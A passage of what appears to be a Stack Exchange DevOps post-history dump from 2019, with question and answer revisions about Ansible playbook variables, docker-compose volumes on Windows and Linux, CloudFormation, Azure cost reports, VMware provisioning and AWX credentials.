stopservices.sh&quot;&#xD;&#xA;&#xD;&#xA;         - name: Edit real hosts file&#xD;&#xA;           shell: &quot;bash editrealmachinehosts.sh&quot;&#xD;&#xA;&#xD;&#xA;         - name: Create dirs and cloning&#xD;&#xA;           command: python3 {{ user }} {{ passa }}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the way used to reference to the username and password variables in the third task - `{{ variable }}` instead of `variable`.&#xD;&#xA;&#xD;&#xA;Execute your playbook with the following command:&#xD;&#xA;&#xD;&#xA;    ansible-playbook createdeploy.yaml --extra-vars &quot;user=ras pass=ras&quot; -b --become-user=ras&#xD;&#xA;&#xD;&#xA;As your target host is actually `localhost` (if I did understood you correctly), and since you're not showing your inventory file, I'd like to suggest that you might have to add `-c local` to the list of arguments of your `ansible-playbook` command. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26417" PostHistoryTypeId="5" PostId="8999" RevisionGUID="28596f5e-d952-47b1-87c5-ae98dffe654d" CreationDate="2019-08-26T12:21:22.187" UserId="775" Comment="deleted 1 character in body" Text="I'd suggest that you first put some default values within the playbook (if you explicitly want your variables there, for the purpose of .. reducing interactivity/command line args lets say):&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      vars:&#xD;&#xA;        user: greatuser&#xD;&#xA;        passa: greatpassword&#xD;&#xA;&#xD;&#xA;Second, I'm pretty sure that `pass` is a reserved word somewhere, although I'm failing to find it in the [documentation][1]. That's why I've changed your variable to `passa`. The final version of your playbook should look like this:&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      vars:&#xD;&#xA;         user: greatuser&#xD;&#xA;         passa: greatpassword&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;         - name: Stop services&#xD;&#xA;           shell: &quot;bash stopservices.sh&quot;&#xD;&#xA;&#xD;&#xA;         - name: Edit real hosts file&#xD;&#xA;           shell: &quot;bash editrealmachinehosts.sh&quot;&#xD;&#xA;&#xD;&#xA;         - name: Create dirs and cloning&#xD;&#xA;           command: python3 {{ user }} {{ passa }}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the way used to reference to the username and password variables in the third task - `{{ variable }}` instead of `variable`.&#xD;&#xA;&#xD;&#xA;Execute your playbook with the following command:&#xD;&#xA;&#xD;&#xA;    ansible-playbook createdeploy.yaml --extra-vars &quot;user=ras pass=ras&quot; -b --become-user=ras&#xD;&#xA;&#xD;&#xA;As your target host is actually `localhost` (if I did understood you correctly), and since you're not showing your inventory file, I'd like to suggest that you might have to add `-c local` to the list of arguments of your `ansible-playbook` command. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26418" PostHistoryTypeId="2" PostId="9000" RevisionGUID="a3f87750-c9ef-4bd7-b46a-bd3045f069eb" CreationDate="2019-08-26T12:27:49.730" UserId="775" Text="I'm not sure I understand what you're trying to do, but .. DataDog has a Docker Intergration, which when configured provides a status of every single container on a host. Then, by simply [querying][1] the DataDog metrics, you can see if  a particular container is up or not, or how many containers you have available per image, or what's the CPU consumption etc. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.datadoghq.com/api/?lang=python#metrics" ContentLicense="CC BY-SA 4.0" />
  <row Id="26419" PostHistoryTypeId="5" PostId="8999" RevisionGUID="26d61aec-4cad-4911-b585-32a28312c2a2" CreationDate="2019-08-26T12:42:08.667" UserId="775" Comment="added 1 character in body" Text="I'd suggest that you first put some default values within the playbook (if you explicitly want your variables there, for the purpose of .. reducing interactivity/command line args lets say):&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      vars:&#xD;&#xA;        user: greatuser&#xD;&#xA;        passa: greatpassword&#xD;&#xA;&#xD;&#xA;Second, I'm pretty sure that `pass` is a reserved word somewhere, although I'm failing to find it in the [documentation][1]. That's why I've changed your variable to `passa`. The final version of your playbook should look like this:&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      vars:&#xD;&#xA;         user: greatuser&#xD;&#xA;         passa: greatpassword&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;         - name: Stop services&#xD;&#xA;           shell: &quot;bash stopservices.sh&quot;&#xD;&#xA;&#xD;&#xA;         - name: Edit real hosts file&#xD;&#xA;           shell: &quot;bash editrealmachinehosts.sh&quot;&#xD;&#xA;&#xD;&#xA;         - name: Create dirs and cloning&#xD;&#xA;           command: python3 {{ user }} {{ passa }}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the way used to reference to the username and password variables in the third task - `{{ variable }}` instead of `variable`.&#xD;&#xA;&#xD;&#xA;Execute your playbook with the following command:&#xD;&#xA;&#xD;&#xA;    ansible-playbook createdeploy.yaml --extra-vars &quot;user=ras passa=ras&quot; -b --become-user=ras&#xD;&#xA;&#xD;&#xA;As your target host is actually `localhost` (if I did understood you correctly), and since you're not showing your inventory file, I'd like to suggest that you might have to add `-c local` to the list of arguments of your `ansible-playbook` command. &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_variables.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="26420" PostHistoryTypeId="33" PostId="8970" RevisionGUID="acbda4dd-1bcb-4fb7-880f-2107df78cc04" CreationDate="2019-08-26T12:49:27.247" UserId="10356" Comment="40" />
  <row Id="26422" PostHistoryTypeId="2" PostId="9001" RevisionGUID="fc452862-d3ea-4706-837f-4c0b62993f91" CreationDate="2019-08-26T14:30:31.003" UserId="15792" Text="As you point out, [AWS S3 currently does not have an event type][1] for GET calls.&#xD;&#xA;&#xD;&#xA;To do something similar to what you are trying to do, I had to do the following:&#xD;&#xA;&#xD;&#xA; 1. Create an application/lamdba that's only purpose was to retrieve items from the S3 Bucket.  This application was given exclusive privileges to the S3 bucket.&#xD;&#xA; 2. The application keeps a counter of the number of times that S3 resource has been accessed.&#xD;&#xA; 3. The application returns the 403 or whatever you want if you exceed the download limit.&#xD;&#xA;&#xD;&#xA;Basically create a &quot;middleware&quot; that's sole purpose is to go from your website/application to S3 and track the number of requests.&#xD;&#xA;&#xD;&#xA;While the above solution meets your requirements, it is vulnerable to common attacks such as DDoS or people spoofing their IP.  If you take this approach consider additional security measures (e.g. only authenticated users can invoke the application's GET call to S3).  &#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html#notification-how-to-event-types-and-destinations" ContentLicense="CC BY-SA 4.0" />
  <row Id="26423" PostHistoryTypeId="2" PostId="9002" RevisionGUID="988948af-28f0-47e1-a433-4966c2ca2b61" CreationDate="2019-08-26T16:00:42.000" UserId="354" Text="We have developers working on an app using both Windows and Linux. The application is built within a Docker container, and ships a docker-compose specification for the build environment.&#xD;&#xA;&#xD;&#xA;The local directory is mounted as a volume: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    volumes:&#xD;&#xA;      - ${PWD}:/tmp&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;however **this doesn't work in Windows** because `$PWD` is not defined. &#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;&#xD;&#xA;**Can we have a single `docker-compose.yml` to satisfy the Windows and Linux developers?**&#xD;&#xA;&#xD;&#xA;The obvious way to do this seems to me to have two docker-compose files, one for each Os.&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="26424" PostHistoryTypeId="1" PostId="9002" RevisionGUID="988948af-28f0-47e1-a433-4966c2ca2b61" CreationDate="2019-08-26T16:00:42.000" UserId="354" Text="Docker compose volume syntax valid for Windows and Linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="26425" PostHistoryTypeId="3" PostId="9002" RevisionGUID="988948af-28f0-47e1-a433-4966c2ca2b61" CreationDate="2019-08-26T16:00:42.000" UserId="354" Text="&lt;docker-compose&gt;&lt;linux&gt;&lt;windows&gt;&lt;environment-variables&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26426" PostHistoryTypeId="2" PostId="9003" RevisionGUID="876a4ed7-1e68-4a72-b6ac-2a1c6e988ed6" CreationDate="2019-08-26T16:01:17.223" UserId="210" Text="There is [an official website][1] and there are multiple ways to learn CloudFormation. Just curious what worked best for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/cloudformation/" ContentLicense="CC BY-SA 4.0" />
  <row Id="26427" PostHistoryTypeId="1" PostId="9003" RevisionGUID="876a4ed7-1e68-4a72-b6ac-2a1c6e988ed6" CreationDate="2019-08-26T16:01:17.223" UserId="210" Text="How to get started with CloudFormation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26428" PostHistoryTypeId="3" PostId="9003" RevisionGUID="876a4ed7-1e68-4a72-b6ac-2a1c6e988ed6" CreationDate="2019-08-26T16:01:17.223" UserId="210" Text="&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26429" PostHistoryTypeId="2" PostId="9004" RevisionGUID="5271d6d8-72e7-437c-95dc-52ec04d0ab74" CreationDate="2019-08-26T16:43:21.097" UserId="15792" Text="Yes.  Just use ./ for you current directory that the Docker-compose file is in.  Docker-Compose does not allow you to use a context that is located above the compose file, so everything the compose file will use is below the folder with the .yml.  Your &quot;working directory&quot; for the compose file is just &quot;./&quot;.  If you are trying to set a directory below that it would look something like: &lt;pre&gt;&lt;code&gt;volumes:&#xD;&#xA;  - ./DirectoryIWantToTarget:/tmp&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;There's an example of this in the Docker-Compose documentation [here][1].  This approach makes the solution cross-platform as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/compose-file/#short-syntax-3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26430" PostHistoryTypeId="2" PostId="9005" RevisionGUID="aa834065-1976-409f-9f3b-0deccfad7414" CreationDate="2019-08-26T16:53:43.587" UserId="4328" Text="[Linux Academy][1] has many great courses on CloudFormation as well as other AWS and DevOps tools and services. They also have many guided labs where you will be given hands on guided learning of how to use various technologies. &#xD;&#xA;&#xD;&#xA;Otherwise, creating templates and launching CloudFormation stacks is something that you could learn by just creating infrastructure piece by piece in your CloudFormation template (ex. add an S3 bucket to your CFT -&gt; launch stack -&gt; add and EC2 instance -&gt; launch stack -&gt; etc. etc.). The AWS documentation is very helpful along with a [good plugin][2] for your IDE.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://linuxacademy.com&#xD;&#xA;  [2]: https://marketplace.visualstudio.com/items?itemName=aws-scripting-guy.cform" ContentLicense="CC BY-SA 4.0" />
  <row Id="26431" PostHistoryTypeId="2" PostId="9006" RevisionGUID="459ada5e-789e-4d04-8ad1-f1410f437a33" CreationDate="2019-08-26T17:32:15.427" UserId="786" Text="```&#xD;&#xA;PS C:\Users\gaius&gt; Write-Output $PSVersionTable.PSVersion&#xD;&#xA;&#xD;&#xA;Major  Minor  Build  Revision&#xD;&#xA;-----  -----  -----  --------&#xD;&#xA;5      1      17763  592     &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS C:\Users\gaius&gt; Write-Output $pwd&#xD;&#xA;&#xD;&#xA;Path          &#xD;&#xA;----          &#xD;&#xA;C:\Users\gaius&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That appears to work as expected, what versions of things are you using?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26435" PostHistoryTypeId="5" PostId="9002" RevisionGUID="247f02bf-d15f-490c-95a8-dec84e031910" CreationDate="2019-08-26T17:58:08.500" UserId="786" Comment="corrected typo and added some characters" Text="We have developers working on an app using both Windows and Linux. The application is built within a Docker container, and ships a docker-compose specification for the build environment.&#xD;&#xA;&#xD;&#xA;The local directory is mounted as a volume: &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    volumes:&#xD;&#xA;      - ${PWD}:/tmp&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;however **this doesn't work in Windows** because `$PWD` is not defined. &#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;&#xD;&#xA;**Can we have a single `docker-compose.yml` to satisfy both the Windows and Linux developers?**&#xD;&#xA;&#xD;&#xA;The obvious way to do this seems to me to have two docker-compose files, one for each OS.&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="26436" PostHistoryTypeId="24" PostId="9002" RevisionGUID="247f02bf-d15f-490c-95a8-dec84e031910" CreationDate="2019-08-26T17:58:08.500" Comment="Proposed by 786 approved by 354 edit id of 1057" ContentLicense="CC BY-SA 4.0" />
  <row Id="26437" PostHistoryTypeId="5" PostId="9006" RevisionGUID="2947911f-252e-4e8b-921a-e14fa500e4c9" CreationDate="2019-08-26T18:35:41.947" UserId="786" Comment="added 313 characters in body" Text="```&#xD;&#xA;PS C:\Users\gaius&gt; Write-Output $PSVersionTable.PSVersion&#xD;&#xA;&#xD;&#xA;Major  Minor  Build  Revision&#xD;&#xA;-----  -----  -----  --------&#xD;&#xA;5      1      17763  592     &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS C:\Users\gaius&gt; Write-Output $pwd&#xD;&#xA;&#xD;&#xA;Path          &#xD;&#xA;----          &#xD;&#xA;C:\Users\gaius&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That appears to work as expected, what versions of things are you using?&#xD;&#xA;&#xD;&#xA;Compare to Linux:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gaius@klossy:~$ pwsh&#xD;&#xA;PowerShell 6.2.2&#xD;&#xA;Copyright (c) Microsoft Corporation. All rights reserved.&#xD;&#xA;&#xD;&#xA;https://aka.ms/pscore6-docs&#xD;&#xA;Type 'help' to get help.&#xD;&#xA;&#xD;&#xA;PS /home/gaius&gt; echo $pwd&#xD;&#xA;&#xD;&#xA;Path&#xD;&#xA;----&#xD;&#xA;/home/gaius&#xD;&#xA;&#xD;&#xA;PS /home/gaius&gt; &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(`echo` is just an alias for `Write-Output`)" ContentLicense="CC BY-SA 4.0" />
  <row Id="26438" PostHistoryTypeId="5" PostId="9006" RevisionGUID="655b01a7-76a3-4bb1-a4e7-d7cbbb783122" CreationDate="2019-08-26T18:41:14.023" UserId="786" Comment="added 313 characters in body" Text="```&#xD;&#xA;PS C:\Users\gaius&gt; Write-Output $PSVersionTable.PSVersion&#xD;&#xA;&#xD;&#xA;Major  Minor  Build  Revision&#xD;&#xA;-----  -----  -----  --------&#xD;&#xA;5      1      17763  592     &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS C:\Users\gaius&gt; Write-Output $pwd&#xD;&#xA;&#xD;&#xA;Path          &#xD;&#xA;----          &#xD;&#xA;C:\Users\gaius&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That appears to work as expected, what versions of things are you using?&#xD;&#xA;&#xD;&#xA;Compare to Linux:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gaius@klossy:~$ pwsh&#xD;&#xA;PowerShell 6.2.2&#xD;&#xA;Copyright (c) Microsoft Corporation. All rights reserved.&#xD;&#xA;&#xD;&#xA;https://aka.ms/pscore6-docs&#xD;&#xA;Type 'help' to get help.&#xD;&#xA;&#xD;&#xA;PS /home/gaius&gt; echo $pwd&#xD;&#xA;&#xD;&#xA;Path&#xD;&#xA;----&#xD;&#xA;/home/gaius&#xD;&#xA;&#xD;&#xA;PS /home/gaius&gt; &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(`echo` is just an alias for `Write-Output`)&#xD;&#xA;&#xD;&#xA;If you must have exact commonality between Windows and Linux there are a few solutions, Git comes with Bash for Windows, there's WSL, etc. " ContentLicense="CC BY-SA 4.0" />
  <row Id="26439" PostHistoryTypeId="2" PostId="9008" RevisionGUID="8d1f2288-f2fe-40d3-88b0-88c74cad6773" CreationDate="2019-08-26T18:41:21.650" UserId="12558" Text="We redeployed some of our Azure resources under new resource and resource group names. Now, when I go to cost analysis and filter by resource group I can't find the previous instance of those resources.&#xD;&#xA;&#xD;&#xA;Is there a way to do reports on the cost of removed resources?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26440" PostHistoryTypeId="1" PostId="9008" RevisionGUID="8d1f2288-f2fe-40d3-88b0-88c74cad6773" CreationDate="2019-08-26T18:41:21.650" UserId="12558" Text="How can I find the cost of an already removed resource on Azure?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26441" PostHistoryTypeId="3" PostId="9008" RevisionGUID="8d1f2288-f2fe-40d3-88b0-88c74cad6773" CreationDate="2019-08-26T18:41:21.650" UserId="12558" Text="&lt;azure&gt;&lt;cost-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26443" PostHistoryTypeId="5" PostId="2184" RevisionGUID="7855092e-3fff-4ee3-a165-f4ea6edd6da9" CreationDate="2019-08-26T19:21:40.903" UserId="7078" Comment="Fixed a small typo" Text="Different types of leadership styles are required. To start with DevOps in a company, one has to apply a different leadership style then when it is already implemented.&#xD;&#xA;&#xD;&#xA;When one starts with DevOps a cultural change has to be done and engineers should get ride of, for example, the &quot;through it over the wall&quot; mindset. When DevOps has been implemented a leader should be able to communicate well with other teams to connect multiple departments in a company.&#xD;&#xA;&#xD;&#xA;In summary, in the beginning a leadership style that motivates people to implement DevOps is required. Later communication between teams and how the team will work in the organization, i.e. more focus on external.&#xD;&#xA;&#xD;&#xA;A leadership style that could be used to implement DevOps is a transformational leadership style." ContentLicense="CC BY-SA 4.0" />
  <row Id="26444" PostHistoryTypeId="24" PostId="2184" RevisionGUID="7855092e-3fff-4ee3-a165-f4ea6edd6da9" CreationDate="2019-08-26T19:21:40.903" Comment="Proposed by 7078 approved by -1 edit id of 1058" ContentLicense="CC BY-SA 4.0" />
  <row Id="26445" PostHistoryTypeId="5" PostId="2184" RevisionGUID="5d7ecb03-81e6-4151-a749-28c58f34149e" CreationDate="2019-08-26T19:21:40.903" UserId="40" Comment="added 5 characters in body" Text="Different types of leadership styles are required. To start with DevOps in a company, one has to apply a different leadership style compared to when it is already implemented.&#xD;&#xA;&#xD;&#xA;When one starts with DevOps a cultural change has to be done and engineers should get ride of, for example, the &quot;throw it over the wall&quot; mindset. When DevOps has been implemented a leader should be able to communicate well with other teams to connect multiple departments in a company.&#xD;&#xA;&#xD;&#xA;In summary, in the beginning a leadership style that motivates people to implement DevOps is required. Later communication between teams and how the team will work in the organization, i.e. more focus on external.&#xD;&#xA;&#xD;&#xA;A leadership style that could be used to implement DevOps is a transformational leadership style." ContentLicense="CC BY-SA 4.0" />
  <row Id="26446" PostHistoryTypeId="2" PostId="9010" RevisionGUID="536dac2d-a8e8-4a62-8d76-b07a00747180" CreationDate="2019-08-26T19:36:07.633" UserId="16765" Text="You can use another verifier. Inspec should have a reporter that will report in the correct format. https://molecule.readthedocs.io/en/stable/configuration.html#inspec" ContentLicense="CC BY-SA 4.0" />
  <row Id="26447" PostHistoryTypeId="5" PostId="2184" RevisionGUID="b8b09dd6-c67c-4c2a-a909-d9b7729a2016" CreationDate="2019-08-26T20:17:19.960" UserId="210" Comment="added 6 characters in body" Text="Different types of leadership styles are required. To start with DevOps in a company, one has to apply a different leadership style compared to when it has already been implemented.&#xD;&#xA;&#xD;&#xA;When one starts with DevOps a cultural change has to be done and engineers should get rid of, for example, the &quot;throw it over the wall&quot; mindset. When DevOps has been implemented, a leader should be able to communicate well with other teams to connect multiple departments in a company.&#xD;&#xA;&#xD;&#xA;In summary, in the beginning a leadership style that motivates people to implement DevOps is required. Later communication between teams and how the team will work in the organization, i.e. more focus on external.&#xD;&#xA;&#xD;&#xA;A leadership style that could be used to implement DevOps is a transformational leadership style." ContentLicense="CC BY-SA 4.0" />
  <row Id="26449" PostHistoryTypeId="52" PostId="9002" RevisionGUID="912ac9fe-bc9c-4be2-bf44-6822294e9be1" CreationDate="2019-08-27T00:08:57.493" />
  <row Id="26454" PostHistoryTypeId="2" PostId="9014" RevisionGUID="65858f9b-f272-43e8-80e4-a15b20746cb7" CreationDate="2019-08-27T05:53:28.630" UserId="16553" Text="I try to test one simple playbook with ansible.&#xD;&#xA;My goal is to create a new VM with it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    # create a new VM from a template&#xD;&#xA;    &#xD;&#xA;    - name: VM from template&#xD;&#xA;      hosts: localhost&#xD;&#xA;      gather_facts: false&#xD;&#xA;      connection: local&#xD;&#xA;      vars:&#xD;&#xA;        vcenter_hostname: vcenter-app&#xD;&#xA;        vcenter_user: john@doe&#xD;&#xA;        vcenter_pass: blabla6&#xD;&#xA;        esxhost: esx-4.cbalo.fr&#xD;&#xA;        datastore: VM-PROD-02-NORMAL&#xD;&#xA;        vmtemplate: Centos7-template&#xD;&#xA;        name: &quot;newvm2&quot;&#xD;&#xA;        notes: Ansible Test&#xD;&#xA;        dumpfacts: False&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Create VM from template&#xD;&#xA;          vmware_guest:&#xD;&#xA;            validate_certs: False&#xD;&#xA;            hostname: &quot;{{ vcenter_hostname }}&quot;&#xD;&#xA;            username: &quot;{{ vcenter_user }}&quot;&#xD;&#xA;            password: &quot;{{ vcenter_pass }}&quot;&#xD;&#xA;            esxi_hostname: &quot;{{ esxhost }}&quot;&#xD;&#xA;            datacenter: CD06&#xD;&#xA;            folder: Test&#xD;&#xA;            name: &quot;{{ name }}&quot;&#xD;&#xA;            template: &quot;{{ vmtemplate }}&quot;&#xD;&#xA;            disk:&#xD;&#xA;              - size_gb: &quot;{{ disk_size | default(17) }}&quot;&#xD;&#xA;                type: thin&#xD;&#xA;                datastore: &quot;{{ datastore }}&quot;&#xD;&#xA;            hardware:&#xD;&#xA;              memory_mb: &quot;{{ vm_memory | default(1024) }}&quot;&#xD;&#xA;            wait_for_ip_address: True&#xD;&#xA;            state: present&#xD;&#xA;          register: newvm2&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The connection to my VMcenter is fine but i see that error message :&#xD;&#xA;&#xD;&#xA;    **ansible-playbook test_vmware.yml**&#xD;&#xA;    &#xD;&#xA;    PLAY [Create VM from template] ******************************************************************************************************************************************************&#xD;&#xA;    &#xD;&#xA;    TASK [Clone VM from template] *******************************************************************************************************************************************************&#xD;&#xA;    fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;Failed to create a virtual machine : Cannot complete the operation because the file or folder /vmfs/volumes/5d25e76b-5475ac54-9cdb-e4434b69d662/newvm2/newvm2.vmdk already exists&quot;}&#xD;&#xA;&#xD;&#xA;Even if i change the name **newvm2** for an other one, i still have the same message. Someone can maybe help me with that case ?&#xD;&#xA;&#xD;&#xA;Many Thanks&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26455" PostHistoryTypeId="1" PostId="9014" RevisionGUID="65858f9b-f272-43e8-80e4-a15b20746cb7" CreationDate="2019-08-27T05:53:28.630" UserId="16553" Text="Deploy Vm Vmware with simple Ansible playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="26456" PostHistoryTypeId="3" PostId="9014" RevisionGUID="65858f9b-f272-43e8-80e4-a15b20746cb7" CreationDate="2019-08-27T05:53:28.630" UserId="16553" Text="&lt;ansible&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26457" PostHistoryTypeId="2" PostId="9015" RevisionGUID="22b5e232-993a-4a0e-a8db-5f44b3fea33f" CreationDate="2019-08-27T07:51:55.547" UserId="14770" Text="I have this code in my playbook:  &#xD;&#xA;&#xD;&#xA;    - hosts: standby&#xD;&#xA;      remote_user: root&#xD;&#xA;      tasks:&#xD;&#xA;      - name: replace hostname in config&#xD;&#xA;        replace:&#xD;&#xA;	      path: /opt/agentd.conf&#xD;&#xA;	      regexp: #\s+Hostname\=&#xD;&#xA;	      replace: Hostname={{hname}}&#xD;&#xA;	      backup: yes&#xD;&#xA;      - name: add database array in files&#xD;&#xA;        lineinfile:&#xD;&#xA;	      path: /opt/zabbix_agent/share/scripts/{{ item }}&#xD;&#xA;	      line: 'DBNAME_ARRAY=( {{dbname}} )'&#xD;&#xA;          insertafter: DB2PATH=/home/db2inst1/sqllib/bin/db2&#xD;&#xA;	      backup: yes&#xD;&#xA;	  with_items:&#xD;&#xA;       - Connections&#xD;&#xA;       - HadrAndLog&#xD;&#xA;       - Memory&#xD;&#xA;       - Regular&#xD;&#xA;     - name: restart service&#xD;&#xA;       shell: /etc/init.d/agent restart&#xD;&#xA;       register: command_output&#xD;&#xA;       become: yes&#xD;&#xA;       become_user: root&#xD;&#xA;       tags: restart&#xD;&#xA;     - debug: msg=&quot;{{command_output.stdout_lines}}&quot;&#xD;&#xA;     tags: set_config_st&#xD;&#xA;&#xD;&#xA;it will replace `# Hostname=` in a config file with `Hostname= givenhostname` and add an array in 4 scripts. array is the name of given database. then it will restart the agent to apply the changes.   &#xD;&#xA;when i run this command:  &#xD;&#xA;&#xD;&#xA;    ansible-playbook -i /Ansible/inventory/hostfile /Ansible/provision/nconf.yml --tags set_config_st --extra-vars &quot;hname=fazi dbname=fazidb&quot;&#xD;&#xA;&#xD;&#xA;i get this error:  &#xD;&#xA;&#xD;&#xA;`first argument must be string or compiled pattern`  &#xD;&#xA;[![this is the complete messege][1]][1]&#xD;&#xA;&#xD;&#xA;i searched a bit but couldn't find the reason. what should i do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/FkBLe.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="26458" PostHistoryTypeId="1" PostId="9015" RevisionGUID="22b5e232-993a-4a0e-a8db-5f44b3fea33f" CreationDate="2019-08-27T07:51:55.547" UserId="14770" Text="ansible error 'first argument must be string or compiled pattern'" ContentLicense="CC BY-SA 4.0" />
  <row Id="26459" PostHistoryTypeId="3" PostId="9015" RevisionGUID="22b5e232-993a-4a0e-a8db-5f44b3fea33f" CreationDate="2019-08-27T07:51:55.547" UserId="14770" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26460" PostHistoryTypeId="2" PostId="9016" RevisionGUID="fd2ef356-6dd0-45e5-ac52-3a7b3a22fc5a" CreationDate="2019-08-27T08:18:17.757" UserId="16553" Text="https://github.com/ansible/ansible/issues/55551&#xD;&#xA;&#xD;&#xA;The fix is included in Ansible 2.8.3 or higher. I had the 2.8.2 version" ContentLicense="CC BY-SA 4.0" />
  <row Id="26461" PostHistoryTypeId="2" PostId="9017" RevisionGUID="84653330-59e0-4f66-8975-9b642952c1b3" CreationDate="2019-08-27T09:04:16.607" UserId="16778" Text="I have an inventory with a lot of hosts in it using the same credentials, but one host needs a different approach. For the ssh connection a different user is used, after the connection is established, we do a privilege escalation with su.&#xD;&#xA;&#xD;&#xA;This all works fine when I create a job template in AWX and limit it to this &quot;special&quot; host. But the job template needs to be executed on all hosts. So I want to set the default credentials in the job template, and on this single host I'd like to set the credentials as host variables using&#xD;&#xA;&#xD;&#xA; - ansible_become&#xD;&#xA; - ansible_user&#xD;&#xA; - ansible_password&#xD;&#xA; - ansible_become_method&#xD;&#xA; - ansible_become_user&#xD;&#xA; - ansible_become_pass&#xD;&#xA;&#xD;&#xA;Of course I don't want the password to be in plain text in AWX so I read something about the vaults. But if I'm understood that correctly, this means I need to create a new credential in AWX and assign it to the job. &#xD;&#xA;But that doesn't work for me, because than I can't connect to the other hosts.&#xD;&#xA;&#xD;&#xA;Is there a possibility to assign the `ansible_become_pass` encrypted to this single host?&#xD;&#xA;&#xD;&#xA;I know that the easiest way is to use the same credentials as on the other hosts, but unfortunately this is not possible in this case." ContentLicense="CC BY-SA 4.0" />
  <row Id="26462" PostHistoryTypeId="1" PostId="9017" RevisionGUID="84653330-59e0-4f66-8975-9b642952c1b3" CreationDate="2019-08-27T09:04:16.607" UserId="16778" Text="Per machine credentials for privileges escalation using AWX" ContentLicense="CC BY-SA 4.0" />
  <row Id="26463" PostHistoryTypeId="3" PostId="9017" RevisionGUID="84653330-59e0-4f66-8975-9b642952c1b3" CreationDate="2019-08-27T09:04:16.607" UserId="16778" Text="&lt;ansible&gt;&lt;security&gt;&lt;ansible-inventory&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26466" PostHistoryTypeId="10" PostId="8990" RevisionGUID="0c8d5ca3-ba28-4dcc-8074-be04ed6facf7" CreationDate="2019-08-27T09:34:23.703" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="26467" PostHistoryTypeId="10" PostId="9003" RevisionGUID="548cd041-9e10-4f6f-a65b-3506651404b0" CreationDate="2019-08-27T09:34:41.417" UserId="13" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
